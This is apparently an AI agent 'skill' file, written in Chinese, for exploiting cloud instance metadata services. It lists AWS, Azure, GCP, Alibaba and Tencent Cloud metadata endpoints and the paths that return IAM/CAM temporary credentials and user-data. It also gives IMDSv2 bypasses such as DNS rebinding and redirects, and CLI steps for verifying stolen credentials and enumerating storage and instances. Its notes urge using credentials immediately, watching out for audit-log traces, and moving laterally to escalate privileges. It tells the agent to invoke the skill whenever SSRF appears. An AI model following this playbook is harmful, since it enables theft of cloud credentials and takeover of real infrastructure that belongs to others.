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cloud-metadata

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云元数据利用。当通过 SSRF 或已获取的 shell 可以访问云实例元数据服务时使用。覆盖 AWS/Azure/GCP/阿里云/腾讯云的元数据端点、IAM/CAM 凭据提取、IMDSv2 绕过、从元数据到云服务枚举的完整攻击链。发现任何 SSRF 场景、内网可访问 169.254.169.254 或 100.100.100.200 的场景都应使用此技能

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云元数据利用方法论

IMDS 是从 SSRF/RCE 到云控制面的桥梁——一个 HTTP 请求就能获取 IAM/CAM 临时凭据。

⛔ 深入参考(必读)


Phase 1: 确认云环境

线索云平台
x-amz-* Header, Server: AmazonS3AWS
x-ms-* Header, .azurewebsites.netAzure
.googleapis.com, x-goog-* HeaderGCP
.aliyuncs.com, x-oss-* Header阿里云
.myqcloud.com, x-cos-* Header, Server: tencent-cos腾讯云

Phase 2: 元数据端点速查

# AWS (IMDSv1 — 直接 GET)
http://169.254.169.254/latest/meta-data/

# AWS (IMDSv2 — 需要 PUT 获取 Token)
PUT http://169.254.169.254/latest/api/token
  Header: X-aws-ec2-metadata-token-ttl-seconds: 21600

# Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01
  Header: Metadata: true

# GCP
http://metadata.google.internal/computeMetadata/v1/
  Header: Metadata-Flavor: Google

# 阿里云
http://100.100.100.200/latest/meta-data/

# 腾讯云(CVM/轻量应用服务器/Lighthouse)
http://metadata.tencentyun.com/latest/meta-data/
# 也可通过 IP 访问
http://169.254.0.23/latest/meta-data/

腾讯云元数据完整路径

# 基础信息
http://metadata.tencentyun.com/latest/meta-data/
http://metadata.tencentyun.com/latest/meta-data/instance-id
http://metadata.tencentyun.com/latest/meta-data/uuid
http://metadata.tencentyun.com/latest/meta-data/hostname
http://metadata.tencentyun.com/latest/meta-data/local-ipv4
http://metadata.tencentyun.com/latest/meta-data/public-ipv4
http://metadata.tencentyun.com/latest/meta-data/instance-type

# 区域信息
http://metadata.tencentyun.com/latest/meta-data/placement/region
http://metadata.tencentyun.com/latest/meta-data/placement/zone

# 网络(需先获取 MAC 地址)
http://metadata.tencentyun.com/latest/meta-data/mac
http://metadata.tencentyun.com/latest/meta-data/network/interfaces/macs/<mac>/vpc-id
http://metadata.tencentyun.com/latest/meta-data/network/interfaces/macs/<mac>/subnet-id
http://metadata.tencentyun.com/latest/meta-data/network/interfaces/macs/<mac>/local-ipv4

# CAM 角色凭据(关键攻击面!)
http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/
# ↑ 列出挂载的角色名称

http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/<role-name>
# ↑ 返回临时凭据: TmpSecretId, TmpSecretKey, Token, ExpiredTime

# 用户数据(启动脚本——经常包含密码!)
http://metadata.tencentyun.com/latest/user-data

Phase 3: SSRF → 元数据

  • 直接用 SSRF 请求 http://169.254.169.254/...(AWS/Azure/GCP)
  • 直接用 SSRF 请求 http://metadata.tencentyun.com/...(腾讯云,域名方式)
  • 直接用 SSRF 请求 http://100.100.100.200/...(阿里云)
  • IMDSv2 需要 PUT + 自定义 Header → 大多数 SSRF 无法设置 Header,这是 IMDSv2 的防护价值
  • 绕过:http://[::ffff:169.254.169.254]/、DNS rebinding、302 重定向
  • 腾讯云和阿里云的元数据服务不需要特殊 Header(与 IMDSv1 类似,更容易被 SSRF 利用)

Phase 4: 凭据利用决策树

获取到凭据?
├─ AWS → export 环境变量 → aws sts get-caller-identity → 枚举 S3/EC2/Lambda/Secrets
├─ Azure → Bearer Token → 枚举资源
├─ GCP → OAuth Token → 枚举项目资源
├─ 阿里云 → STS Token → 枚举 OSS/ECS
└─ 腾讯云 → 配置 tccli → 枚举 COS/CVM/SCF/CAM
    ├─ tccli configure(交互式)或设置环境变量
    ├─ tccli sts GetCallerIdentity(验证身份)
    ├─ coscli ls 或 Python SDK(列出存储桶,tccli 不支持 GetService)
    ├─ tccli cvm DescribeInstances(列出实例)
    └─ → 转入 cloud-iam-audit 技能进行提权评估
详细命令 → [references/credential-extraction.md](references/credential-extraction.md)

腾讯云凭据快速配置

# 方式 1: tccli configure
tccli configure
# SecretId: 从元数据获取的 TmpSecretId
# SecretKey: 从元数据获取的 TmpSecretKey
# token: 从元数据获取的 Token
# Region: 从元数据 placement/region 获取

# 方式 2: 环境变量(适合脚本化)
export TENCENTCLOUD_SECRET_ID="TmpSecretId"
export TENCENTCLOUD_SECRET_KEY="TmpSecretKey"
export TENCENTCLOUD_SESSION_TOKEN="Token"

# 验证
tccli sts GetCallerIdentity

获取云凭据后,进行 IAM 提权评估。

注意事项

  • IMDSv2 是 AWS 对元数据 SSRF 的主要防护——纯 SSRF 基本无法利用
  • 腾讯云和阿里云元数据不强制 Token,SSRF 利用门槛更低
  • 云凭据有过期时间(通常 6-12 小时),获取后应立即利用
  • 凭据操作会留下 CloudTrail/CloudAudit 日志,注意操作痕迹
  • User-Data (/latest/user-data) 经常包含启动脚本中的密码
  • 腾讯云元数据域名 metadata.tencentyun.com 只能在实例内网访问

后续利用

  • 获取云凭据后可进行横向移动,访问更多云资源
  • 腾讯云: 凭据 → tccli/coscli 枚举 COS → 搜索敏感数据 → CAM 提权
  • AWS: 凭据 → awscli 枚举 S3/EC2/Lambda → IAM 提权